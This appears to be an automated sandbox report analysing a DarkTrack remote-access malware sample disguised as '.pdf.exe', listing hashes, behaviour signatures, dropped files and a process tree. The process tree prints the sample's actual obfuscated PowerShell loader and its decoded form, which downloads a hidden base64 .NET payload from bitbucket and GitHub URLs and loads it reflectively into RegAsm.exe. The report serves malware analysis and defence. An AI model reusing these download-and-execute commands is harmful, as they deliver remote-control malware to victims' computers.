Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-10-2024 17:43

General

  • Target

    .pdf.exe

  • Size

    156KB

  • MD5

    d0fe6894bc2a79ff92e81047d9eef20e

  • SHA1

    62128c6b15c198f93bb11af238a3be35302b066e

  • SHA256

    1dd25d87c7d8bb002831ed549eb0f077bc1f22e4a61f6d383d17badf92a9e37b

  • SHA512

    271177b2188e014052baade253bd1d7141da51a66ad4d2ae1dfb60edf30ffdd813a26b0fe9c627a3500497006ed366ef64f979ce1eab7c2fb9d08ccdbed71c28

  • SSDEEP

    3072:IXK9qKo9bH1ruuXKpgKVObD+HQGJ4peVGHPJn8ugJDjsUQUach7tyur1nPt:IXFKo5cpgDD+lWpxHP5ZgJj6chh

Malware Config

Signatures

  • DarkTrack

    DarkTrack is a remote administration tool written in delphi.

  • DarkTrack payload 6 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Drops startup file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\.pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\.pdf.exe"
    1⤵
    • Drops startup file
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2908
    • C:\Users\Admin\AppData\Roaming\Jeny.exe
      C:\Users\Admin\AppData\Roaming\Jeny.exe
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:3696
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c serv.bat
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3724
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic cpu get name
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:332
        • C:\Windows\system32\find.exe
          find "QEMU"
          4⤵
            PID:4024
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gc#Z#Bm#GY#ZgBm#GY#ZgBm#GY#LwBk#GQ#Z#Bk#GQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#Gk#bQBn#F8#d#Bl#HM#d##u#Go#c#Bn#D8#MQ#x#Dg#MQ#x#Dc#Mw#1#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#HI#YQB3#C4#ZwBp#HQ#a#B1#GI#dQBz#GU#cgBj#G8#bgB0#GU#bgB0#C4#YwBv#G0#LwBz#GE#bgB0#G8#bQBh#Gw#bw#v#GE#dQBk#Gk#d##v#G0#YQBp#G4#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#Mw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##g#D0#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#EM#bwBt#G0#YQBu#GQ#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#FM#dQBi#HM#d#By#Gk#bgBn#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Cw#I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBD#G8#bgB2#GU#cgB0#F0#Og#6#EY#cgBv#G0#QgBh#HM#ZQ#2#DQ#UwB0#HI#aQBu#Gc#K##k#GI#YQBz#GU#Ng#0#EM#bwBt#G0#YQBu#GQ#KQ#7#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FI#ZQBm#Gw#ZQBj#HQ#aQBv#G4#LgBB#HM#cwBl#G0#YgBs#Hk#XQ#6#Do#T#Bv#GE#Z##o#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#KQ#7#C##J#B0#Hk#c#Bl#C##PQ#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C4#RwBl#HQ#V#B5#H##ZQ#o#Cc#d#Bl#HM#d#Bw#G8#dwBl#HI#cwBo#GU#b#Bs#C4#S#Bv#G0#ZQ#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bt#GU#d#Bo#G8#Z##g#D0#I##k#HQ#eQBw#GU#LgBH#GU#d#BN#GU#d#Bo#G8#Z##o#Cc#b#Bh#Cc#KQ#u#Ek#bgB2#G8#awBl#Cg#J#Bu#HU#b#Bs#Cw#I#Bb#G8#YgBq#GU#YwB0#Fs#XQBd#C##K##n#HQ#e#B0#C4#UwBG#GQ#YQBB#EE#a##v#HM#Z#Bh#G8#b#Bu#Hc#bwBk#C8#Z#By#GU#Lw#0#DQ#MwBk#GY#cg#v#Gc#cgBv#C4#d#Bl#Gs#YwB1#GI#d#Bp#GI#Lw#v#Do#cwBw#HQ#d#Bo#Cc#L##g#Cc#M##n#Cw#I##n#FM#d#Bh#HI#d#B1#H##TgBh#G0#ZQ#n#Cw#I##n#FI#ZQBn#EE#cwBt#Cc#L##g#Cc#M##n#Ck#KQB9#H0#';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($codigo.replace('#','A')));powershell.exe $OWjuxD"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4440
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.SFdaAAh/sdaolnwod/dre/443dfr/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"
              5⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1532
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                6⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: GetForegroundWindowSpam
                PID:4164

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      906a96ab3d13d754809f312628f6e4ac

      SHA1

      4f1f3d49c788e5736c31904eaf4683ea4e8683c6

      SHA256

      69f03040bf4208bbfc3617a35799ad9897c2235df7832dc7687c8b91ef2f99e8

      SHA512

      a0f5fad77325a869edb9a80beb4f2604c5f6d5af652f21a2283e366cd32d42f6fb2f4761d596c6a77a2d83fda4ab52d9a645aedbce5295223c0e30faf306a851

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      235a8eb126d835efb2e253459ab8b089

      SHA1

      293fbf68e6726a5a230c3a42624c01899e35a89f

      SHA256

      5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

      SHA512

      a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\serv.bat

      Filesize

      13KB

      MD5

      481e59b906309ee85321bdbc3381da65

      SHA1

      7ea909c283562f8c8a8c14ec27bcd6f81ba272fc

      SHA256

      3232c61baa83423f50c5850713b1ee87ce197eed3ff3e3a1502b75866e4a0a6b

      SHA512

      415e41ac186fd443703636140a0a38259d368a166b6f5092bf4b1b107d039dc6e812580994d474d4e6ee3d423f28f9895252cfa1346a8f7b2bccdb23c3bdc05d

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ztwsuoes.uyx.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Jeny.exe

      Filesize

      176KB

      MD5

      713593357178076d7aa7ddb4fab30bc9

      SHA1

      99c91cd8248dd178245d2153d8560f2bdd7a40f0

      SHA256

      ccf4db73bd2e8a612b25c05869159d3375b1230e27194175d6e5e6f576fb7d33

      SHA512

      349326240446ebff9a2ed89c1bafc14eb4018b875aa16184c2ed1f0f381b048d53d18f890549ddc6fbfc2fbf34b3f72f44dbe085e46a0b00e3734ec725f078f9

    • memory/1532-28-0x0000020E7A170000-0x0000020E7A1AE000-memory.dmp

      Filesize

      248KB

    • memory/4164-29-0x0000000000400000-0x00000000004A4000-memory.dmp

      Filesize

      656KB

    • memory/4164-32-0x0000000000400000-0x00000000004A4000-memory.dmp

      Filesize

      656KB

    • memory/4164-34-0x0000000000400000-0x00000000004A4000-memory.dmp

      Filesize

      656KB

    • memory/4164-39-0x0000000000400000-0x00000000004A4000-memory.dmp

      Filesize

      656KB

    • memory/4164-35-0x0000000000400000-0x00000000004A4000-memory.dmp

      Filesize

      656KB

    • memory/4164-40-0x0000000000400000-0x00000000004A4000-memory.dmp

      Filesize

      656KB

    • memory/4440-14-0x00000280F7490000-0x00000280F74B2000-memory.dmp

      Filesize

      136KB